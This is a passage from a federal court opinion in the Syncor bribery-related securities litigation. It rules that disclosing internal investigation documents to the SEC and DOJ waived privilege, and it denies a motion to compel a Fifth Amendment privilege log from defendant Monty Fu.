Even assuming arguendo the documents were protected by the attorney-client privilege and the work product doctrine, it appears to the Court that Syncor’s (and Cardinal’s) disclosure(s) of the documents to the Government waived whatever attorney-client privilege and work product protection these documents might have had. Generally, the voluntary disclosure of a privileged attorney-client communication to a third party waives the privilege, United States v. Piache, 913 F.2d 1375, 1379 (9th Cir.1990); Weil v. Investment/Indicators, Research & Mgmt., 647 F.2d 18, 24 (9th Cir.1981), and the work product protection is waived where the disclosure of an otherwise privileged document is made to a third party and that disclosure enables an adversary to gain access to the information. United States v. Mass. Inst, of Tech., 129 F.3d 681, 687 (1st Cir.1997); Bergonzi, 216 F.R.D. at 497. Although the work product doctrine provides protection only against adversaries, and, thus, “is not as easily waived as the attorney-client privilege!,]” Mass. Inst, of Tech., 129 F.3d at 687, “the standard for waiving the work-product doctrine should be no more stringent than the standard for waiving the attorney-client privilege.” Westinghouse Elec. Corp. v. Republic of the Philippines, 951 F.2d 1414, 1429 (3d Cir.1991); Columbia/HCA Healthcare, 293 F.3d at 307. Moreover, once a party has disclosed work product to an adversary, it has waived work product protection as to all other adversaries. Westinghouse Elec. Corp., 951 F.2d at 1429; Bergonzi, 216 F.R.D. at 498.
Defendant Syncor, however, contends its disclosures to the Government were “limited” or “selective” waivers, rather than general waivers applicable to all third parties. There is no merit to this contention.
First, the confidentiality agreement between Syncor and the S.E.C. is a conditional confidentiality agreement, requiring the S.E.C. to keep the documents given to it by Syncor confidential “except to the extent that the [SEC] determines that disclosure is otherwise required by law or would be in furtherance of the [SEC’sJ discharge of its duties and responsibilities.” Rauh Deck, 112, Exh. 2 (emphasis added); Copley Deck, H 10, Exh. 9 (emphasis added). Language such as this, which gives the sole discretion to the Government to destroy any confidentiality, is inconsistent with those cases, discussed below, allowing selective waiver. Bergonzi, 216 F.R.D. at 496-97 n. 10. Moreover, the confidentiality agreement between Syncor and the D.O.J. dated November 7, 2002, was superceded by the “complete and only” agreement between Syncor and the Government entered into on December 2, 2002, and the December agreement has no confidentiality requirements. See Copley Deck, 1113, Exh. 12. To the contrary, the December agreement contains provisions antithetical to the attorney-client privilege and work product protection, including the requirement that Syncor disclose documents to, and cooperate with, foreign law enforcement agencies. Id.
Although the Ninth Circuit has not yet determined whether selective waiver of the attorney-client privilege or work product protection is available, Bergonzi, 403 F.3d 1048, 1050 (9th Cir.2005) (per curiam); Bittaker v. Woodford, 331 F.3d 715, 720 n. 5 (9th Cir.) (en banc), other circuit courts have generally found it is not available. However, the Eighth Circuit has held that selective waiver is allowed, but offered little or no analysis for its holding. Diversified Indus., Inc. v. Meredith, 572 F.2d 596 (8th Cir.1977) (en banc). Every other circuit to consider the matter has rejected the Eighth Circuit’s approach. See In re Columbia/HCA Healthcare Corp., 293 F.3d at 304, 307; Mass. Inst, of Tech., 129 F.3d at 686-87; In re Steinhardt Partners, 9 F.3d at 235; Westinghouse Elec. Corp., 951 F.2d at 1425-27, 1429-30; The Permian Corp. v. United States, 665 F.2d 1214, 1220-21 (D.C.Cir.1981); In re Weiss, 596 F.2d 1185, 1186 (4th Cir.1979) (per curiam). However, one circuit court has suggested that a selective waiver may be permissible in certain circumstances, especially where the Government agrees to confidentiality. See In re Steinhardt Partners, 9 F.3d at 236.
Here, the Court finds defendant Syncor (and Cardinal) waived the attorney-client privilege and the work product protection when it disclosed Cardinal’s due diligence and Syncor’s internal investigation documents to the Government. First, by voluntarily turning those documents over to the Government, Syncor (and Cardinal) acted in a manner “to gain tactical or strategic advantage.” In re Columbia/HCA Healthcare Corp., 293 F.3d at 302 (internal quotation marks omitted); In re Steinhardt Partners, 9 F.3d at 235. Thus, waiving the attorney-client privilege and work product doctrine were to the benefit of Syncor (and Cardinal), and done with their complete, knowing and full consent. In re Columbia/HCA Healthcare Corp., 293 F.3d at 302-03 (citation omitted); see also In re Subpoenas Duces Tecum, 738 F.2d at 1370, 1372 (“A client cannot waive [the attorney-client] privilege in circumstances where disclosure might be beneficial while maintaining it in other circumstances where nondisclosure would be beneficial. Fairness and consistency require that [parties] not be allowed to gain the substantial advantages accruing to voluntary disclosure of work product to one adversary — the SEC — while being able to maintain another advantage inherent in protecting that same work product from other adversaries.”). In short, a corporation should not “be permitted to pick and choose among [its] opponents, waiving the privilege for some and resurrecting the claim of confidentiality to obstruct others, or to invoke the privilege as to communications whose confidentiality he has already compromised for his own benefit.” The Permian Corp., 665 F.2d at 1221; In re Columbia/HCA Healthcare Corp., 293 F.3d at 303; see also In re Subpoenas Duces Tecum, 738 F.2d at 1372 (“It would ... be inconsistent and unfair to allow [parties] to select according to their own self-interest to which adversaries they will allow access to the materials [they disclosed to the SEC].”).
Second, selective waiver “does not serve the purpose [behind the attorney-client privilege] of encouraging full disclosure to one’s attorney in order to obtain informed legal assistance; it merely encourages voluntary disclosure to government agencies, thereby extending the [attorney-client] privilege beyond its intended purpose.” Westinghouse Elec. Corp., 951 F.2d at 1425; see also In re Columbia/HCA Healthcare Corp., 293 F.3d at 302 (“The attorney-client privilege was never designed to protect conversations between a client and the Government — i.e., an adverse party — rather, it pertains only to conversations between the client and his or her attorney.” (emphasis in original)).
Third, although selective waiver might provide additional incentive for a corporation’s cooperation with the Government, there is absolutely no evidence demonstrating that the disallowance of selective waiver would impede the voluntary cooperation of a corporation with the Government. In re Lupron Marketing and Sales Practices Litigation, 313 F.Supp.2d 8, 11 n. 9 (D.Mass.2004); see also In re Steinhardt Partners, 9 F.3d at 236 (“The SEC has continued to receive voluntary cooperation from subjects of investigations, notwithstanding the rejection of the selective waiver doctrine by two circuits and public statements from Directors of the Enforcement Division that the SEC considers voluntary disclosures to be discoverable and admissible.”); Westinghouse Elec. Corp., 951 F.2d at 1426 (“[M]any other corporations ... have chosen to cooperate with the SEC despite the lack of an established privilege protecting their disclosures.”). To the contrary,
a corporation has substantial incentives to cooperate with [governmental] requests for assistance. Voluntary cooperation offers a corporation an opportunity to avoid extended formal investigation and enforcement litigation by the SEC, the possibility of leniency for prior misdeeds, and an opportunity to narrow the issues in any resulting litigation. These incentives exist regardless of whether private third party litigants have access to attorney work product disclosed to the SEC. “When a corporation elects to participate in a voluntary disclosure program like the SEC’s, it necessarily decides that the benefits of participation outweigh the benefits of confidentiality. ... It forgoes some of the traditional protections of the adversary system in order to avoid some of the traditional burdens that accompany adversary resolution of disputes, especially disputes with such formidable adversaries as the SEC.”
In re Steinhardt Partners, 9 F.3d at 236 (citations omitted); In re Subpoenas Duces Tecum, 738 F.2d at 1372.
Finally, “[g]overnmental agencies ‘have means to secure the information they need’ other than through voluntary cooperation achieved via selective waiver (albeit at a higher cost in time and money).” Columbia/HCA Healthcare Corp., 293 F.3d at 303 (quoting Mass. Inst. of Tech., 129 F.3d at 685). Thus, there is “little reason to believe” that the public interest in voluntary cooperation with governmental investigations “outweighs ‘the fundamental principle that the public ... has a right to every man’s evidence.’ ” Westinghouse Elec. Corp., 951 F.2d at 1425-26 (citation and some internal quotation marks omitted). From a public policy perspective, confidential agreements between the Government and the corporations being investigated should not be used “to assist wrongdoers in concealing the information from the public domain.” In re Columbia/HCA Healthcare Corp., 293 F.3d at 303.
For all these reasons, defendant Syncor has not met its burden of demonstrating the documents sought by plaintiffs are protected by the attorney-client privilege and work product doctrine, and plaintiffs’ motion to compel the production of these documents should be granted.
IV
The Fifth Amendment privilege against self-incrimination applies in civil proceedings. United States v. Balsys, 524 U.S. 666, 671-72, 118 S.Ct. 2218, 2222, 141 L.Ed.2d 575 (1998); Lefkowitz v. Turley, 414 U.S. 70, 77, 94 S.Ct. 316, 322, 38 L.Ed.2d 274 (1973). Indeed,
[t]he privilege is not ordinarily dependent upon the nature of the proceeding in which the testimony is sought or is to be used. It applies alike to civil and criminal proceedings, wherever the answer might tend to subject to criminal responsibility him who gives it. The privilege protects a mere witness as fully as it does one who is also a party defendant.
McCarthy v. Amdstein, 266 U.S. 34, 40, 45 S.Ct. 16, 17, 69 L.Ed. 158 (1924). “However, in the civil context, the invocation of the privilege is limited to those circumstances in which the person invoking the privilege reasonably believes that his disclosures could be used in a criminal prosecution, or could lead to other evidence that could be used in that manner.” Doe v. Glanzer, 232 F.3d 1258, 1263 (9th Cir.2000); United States v. Bodwell, 66 F.3d 1000, 1001 (9th Cir.1995) (per curiam). Finally, “‘[t]he privilege afforded not only extends to answers that would in themselves support a conviction ... but likewise embraces those which would furnish a link in the chain of evidence needed to prosecute the claimant for a ... crime.’ ” United States v. Hubbell, 530 U.S. 27, 38, 120 S.Ct. 2037, 2044, 147 L.Ed.2d 24 (2000) (quoting Hoffman v. United States, 341 U.S. 479, 486, 71 S.Ct. 814, 818, 95 L.Ed. 1118 (1951)); Balsys, 524 U.S. at 671-72, 118 S.Ct. at 2222.
Although a request for the production of documents compels “the act of producing the documents,]” Fisher v. United States, 425 U.S. 391, 410 n. 11, 96 S.Ct. 1569, 1580-81 n. 11, 48 L.Ed.2d 39 (1976); Baltimore City Dep’t of Soc. Servs. v. Bouknight, 493 U.S. 549, 554-55, 110 S.Ct. 900, 905, 107 L.Ed.2d 992 (1990), the act itself may implicate the privilege against self-incrimination “because the act of complying with the ... demand testifies to the existence, possession, or authenticity of the things produced.” Bouknight, 493 U.S. at 555, 110 S.Ct. at 905; Fisher, 425 U.S. at 410, 96 S.Ct. at 1581; see also In re Grand Jury Subpoena, 383 F.3d 905, 909 (9th Cir.2004) (“By producing documents in compliance with a subpoena, the witness admits that the documents exist, are in his possession or control, and are authentic. These types of admissions implicitly communicate statements of fact that may lead to incriminating evidence.” (citations omitted)).
Here, there is no doubt that defendant Fu is involved in multiple legal proceedings, and “was and is under investigation by the DOJ for his involvement in an alleged bribery scheme involving Syncor Taiwan____” Jt. Stip., Exh. 6 at 3:3^4:4; see also Jt. Stip. at 10:18-21 & n. 5 (stating Government has convened a grand jury to investigate charges against defendant Fu). Yet, plaintiffs have filed a motion to compel defendant Fu to produce a privilege log identifying the documents he has withheld on the basis of his Fifth Amendment privilege. Defendant Fu, however, contends that the mere production of a privilege log would violate his privilege against self-incrimination in light of the Government’s ongoing investigation of his actions in regard to Syncor Taiwan.
Plaintiffs’ 115 requests for the production of documents seek a wide variety of documents from defendant Fu. An examination of some of these requests, however, clearly shows plaintiffs seek information implicating defendant Fu’s Fifth Amendment rights. For example, Request no. 5 seeks documents concerning Syncor’s overseas sales of radio-pharmaceutical products and services, including but not limited to the foreign bribery scheme conducted in connection with such sales.” Similarly, Request no. 6 seeks documents concerning “bribes,” “kickbacks,” “gifts or other financial support paid ... in connection with its sales of radiopharmaceutical products and services.” Likewise, Request no. 11 seeks documents “concerning Syncor’s violations of the Foreign Corrupt Practices Act (“FCPA”),” and Request no. 12 seeks documents “concerning Syncor’s violations of the foreign laws and regulations ... of Taiwan, Mexico, Belgium, Luxembourg, France, and the European Union.” Finally, Request no. 19 seeks all documents “created by, sent to, reviewed, or received by Monty Fu concerning the Plan and/or overseas sales or promotion of radiopharmaceutical products and/or services____”
As these examples make clear, some of plaintiffs’ document requests implicate defendant Fu’s Fifth Amendment rights, so that requiring defendant Fu to produce a privilege log listing responsive documents may incriminate defendant Fu by forcing him to “admit[ ] that the documents exist, are in his possession or control, and are authentic.” In re Grand Jury Subpoena, 383 F.3d at 909. On the other hand, it may be that other of plaintiffs’ document requests do not implicate defendant Fu’s Fifth Amendment rights. However, since the parties have treated the document requests in toto, and some of them clearly do impinge upon defendant Fu’s Fifth Amendment privilege against self-incrimination, plaintiffs’ motion to compel defendant Fu to produce a privilege log should be denied.
In denying the motion to compel, the Court notes that, as defendant Fu suggests, many of the documents plaintiffs seek may be available from defendant Syncor, which has no privilege against self-incrimination, Doe v. United States, 487 U.S. 201, 206, 108 S.Ct. 2341, 2345, 101 L.Ed.2d 184 (1988); Braswell v. United States, 487 U.S. 99, 102, 108 S.Ct. 2284, 2287, 101 L.Ed.2d 98 (1988), and which, in light of the Court’s other ruling herein, may not be able to withhold such documents from production.
ORDER
1. Plaintiffs’ motion to compel items on defendant Syncor International’s privilege log is GRANTED.
2. Plaintiffs’ motion to compel defendant Monty Fu to produce a privilege log is DENIED.
. At Syncor's Board of Directors' meeting on November 4, 2004, Syncor's Board indicated its primary goals were:
to ascertain the full extent of the problems, make full disclosure, identify all steps necessary to prevent their reoccurrence, and to use all efforts to protect the stockholders and the Company to the extent possible from potential adverse effect resulting from these matters. The Board also believed it was important to continue moving forward on the transaction with Cardinal.
Copley Deck, 11 6, Exh. 5 at 3.
. The agreement between Syncor and the D.O J. provides, in relevant part:
In light of the interest of the [D.O.J.] in determining whether there have been any violations of U.S. law, and in light of the interest of the Company in investigating and analyzing the circumstances and people involved in the events at issue, the Company expects to provide to the DOJ copies of documents and materials, information concerning interviews conducted by [counsel] and reports that may be generated (the "Confidential Materials”). [11] Please be advised that, by producing the Confidential Materials pursuant to this agreement, the Company does not intend to waive the protection of the attorney work product doctrine, the attorney-client privilege, or any other privilege applicable as to third parties. The Company believes that the Confidential Materials are protected by, at a minimum, the attorney work product doctrine and the attorney-client privilege.... [H] The [D.O.J.] agrees to provide the Company with notice of any request made to it for disclosure of the Confidential Materials pursuant to the Freedom of Information Act and to provide the Company with an opportunity to state its objections to any disclosure. [11] The [D.O.J.] will not assert that the Company's production of the Confidential Materials to the [D.O.J.] constitutes a waiver of the protection of the attorney work product doctrine, the attorney-client privilege, or any other privilege as to these materials — or as to any other material or testimony as to which the Company may assert a privilege.
Rauh Deck, 112, Exh. 1; Copley Deck, 1110, Exh. 9. The agreement between Syncor and the S.E.C. is substantially similar, except that it also states the S.E.C.:
will maintain the confidentiality of the Confidential Materials pursuant to-this agreement and will not disclose them to any third party, except to the extent that the [S.E.C.] determines that disclosure is otherwise required by law or would be in furtherance of the [S.E.C.’s] discharge of its duties and responsibilities.
Rauh Deck, H 2, Exh. 2 (emphasis added); Copley Deck, 11 10, Exh. 9 (emphasis added). The agreements between Cardinal and the D.O.J. and the S.E.C. are substantially similar to the agreements set forth above. Id.
. As reflected in the minutes of Syncor's Board of Directors' meeting on November 20, 2002, Cardinal's outside counsel expressed concern "about future prosecutions involving the matters discovered in the investigation,” and Syncor's counsel reported that a representative of the D.O.J. said:
he could provide Cardinal an opinion letter under the Foreign Corrupt Practices Act to give them comfort that their due diligence efforts had been sufficient and no action would be taken against Cardinal regarding issues identified in the due diligence.
Copley Deck, H 11, Exh. 10 at 2. Counsel further reported that the D.O.J. representative had said:
if requested, he would inform the other governmental agencies of Syncor's and Cardinal's cooperation regarding the investigation[,] ... [and] emphasized that one consideration in the DOJ’s willingness to work with the Company towards a resolution in such an expeditious manner was the strength of Cardinal’s internal compliance program.
Id.
. Paragraph 5 of the agreement requires Syncor to voluntarily provide or produce to the Government: full disclosure of all information "of improper or illicit conduct”; "all documents, records, or other tangible evidence relating to such conduct"; "originals and copies of documents and records relating to such conduct”; "all memoranda of interviews compiled and prepared by Syncor’s counsel, outside counsel, consultants, accountants or other agents of interviews with individuals with respect to such conduct”; and "full disclosure to foreign law enforcement agencies and cooperate fully with those agencies with respect to such conduct disclosed to the [Government]....” Id.
. To support its claims of attorney-client privilege and work product protection, defendant Syncor has provided the declarations of Mr. Ford, Cardinal's Executive Vice-President, Mr. Burgos, Syncor’s General Counsel from December 2001 to January 2003, and Mr. Rauh, a partner in the law firm Skadden, Arps. However, other than Mr. Ford, who specifically refers to the Ernst & Young reports, none of tírese declarants states, on a document by document basis, the grounds for claiming attorney-client privilege or work product protection for the documents on Syncor's privilege log. Regarding the Ernst & Young reports, Mr. Ford states:
Cardinal’s purposes in authorizing [Ernst & Young] to conduct a factual investigation and to create reports regarding the purported Syn-cor payment activities included the following: 1) to enable Cardinal to obtain legal advice from its counsel, Wachtell, regarding the impact, if any, of the purported payment activities on the proposed Cardinal-Syncor merger; 2) to enable Cardinal to assess Syncor’s legal position with respect to government agencies, including the SEC and DOJ, that might have an interest in investigating the activities; 3) to prepare for litigation or any administrative action that would likely result in the event that the purported improper activities were disclosed to or otherwise discovered by the government; and 4) to assess the financial impact, if any, of the information discovered during due diligence.
Ford Deck, V 7. Yet, as discussed in the chronology set forth above, it appears that one of Cardinal's primary concerns was that it might be brought into any governmental investigation of Syncor, and, thus, Cardinal quickly decided to voluntarily cooperate with governmental authorities for its own business purposes.
. The practice of S.E.C. access to corporate reports stemming from internal investigations of illegal corporate practices is explained by the Sixth Circuit, as follows:
During the mid 1970s, information came to light that many of the largest corporations in the United States had paid numerous bribes to foreign officials (as well as made secretive domestic political contributions) to obtain overseas business. The SEC initiated a "voluntary disclosure program” to encourage corporate America to reveal past misdeeds and publicly disclose the accounting and tax fraud used to hide the payments. In exchange for "coming clean,” the SEC agreed not to pursue certain enforcement actions. In most situations, the companies created internal auditing committees which, with the assistance of outside legal counsel, prepared reports documenting the full extent any illegal practices at the company. It is against this background that many of the reported cases ... arose.
In re Columbia/HCA Healthcare Corp. Billing Practices Litigation, 293 F.3d 289, 295 n. 7 (6th Cir.2002), cert. dismissed, 539 U.S. 977, 124 S.Ct. 27, 156 L.Ed.2d 690 (2003).
. At oral argument, defendant Syncor’s counsel argued against waiver, citing Hewlett-Packard Co. v. Bausch & Lomb Inc., 115 F.R.D. 308 (N.D.Cal.1987). However, that opinion "was influenced by the potential effects of finding waiver too freely in commercial transactions such as the sale of a business.” Griffith v. Davis, 161 F.R.D. 687, 700-01 (C.D.Cal.1995). In Hewlett-Packard, the issue before the court was whether the disclosure of a company's attorney’s opinion letter concerning the validity and possible infringement of a company patent to a nonparty with whom it was attempting to negotiate the sale of a business waived the company’s attorney-client privilege or work product doctrine. Here, defendant Syncor's disclosures to Cardinal are not the basis of the Court’s rulings; thus, Hewlett-Packard is inapposite.
. In other words, although the standard for determining waiver of the attorney-client privilege and the work product doctrine are essentially the same, in assessing whether the work product doctrine has been waived, the Court must also consider whether the disclosure enabled an adversary to gain access to the information. Westinghouse Elec. Corp., 951 F.2d at 1428; Fidelity
& Deposit Co. of Md. v. McCulloch, 168 F.R.D. 516, 521 n. 4 (E.D.Pa.1996). Here, there is no doubt that, in the context of Syncor's illegal activity, the Government was Syncor's adversary. 'Westinghouse Elec. Corp., 951 F.2d at 1428; Bergonzi, 216 F.R.D. at 497-98; see also In re Steinhardt Partners, 9 F.3d 230, 234 (2d Cir.1993) ("[T]he presence of an adversarial relationship does not depend on the existence of litigation. Additionally, the fact that Steinhardt cooperated voluntarily does not transform the relationship from adversarial to friendly."); In re Subpoenas Duces Tecum, 738 F.2d 1367, 1372 (D.C.Cir. 1984) ("There is no question that the SEC was an adversary to Tesoro. This was not a partnership between allies. Tesoro was not simply assisting the SEC in doing its job. Rather, Tesoro independently and voluntarily chose to participate in a thorough disclosure program, in return for which it received the quid pro quo of lenient punishment for any wrongdoings exposed in the process.”).
. It appears the Eighth Circuit was concerned that "[t]o hold otherwise may have the effect of thwarting the developing procedure of corporations to employ independent outside counsel to investigate and advise them in order to protect stockholders, potential stockholders and customers.” Meredith, 572 F.2d at 611.
. As detailed above, it was clearly to Syncor's (and Cardinal's) advantage to cooperate with the Government, as its counsel, Board members and Special Committee members all recognized.
. Unlike the other motion to compel, wherein the parties grouped into categories the 168 document requests for ease of review and discussion, they have not done that here, making the Court’s analysis more difficult than it otherwise would have been. Moreover, the parties have not provided the Court with plaintiffs' requests for production, and the Court, therefore, does not know the definitions, if any, provided by plaintiffs.
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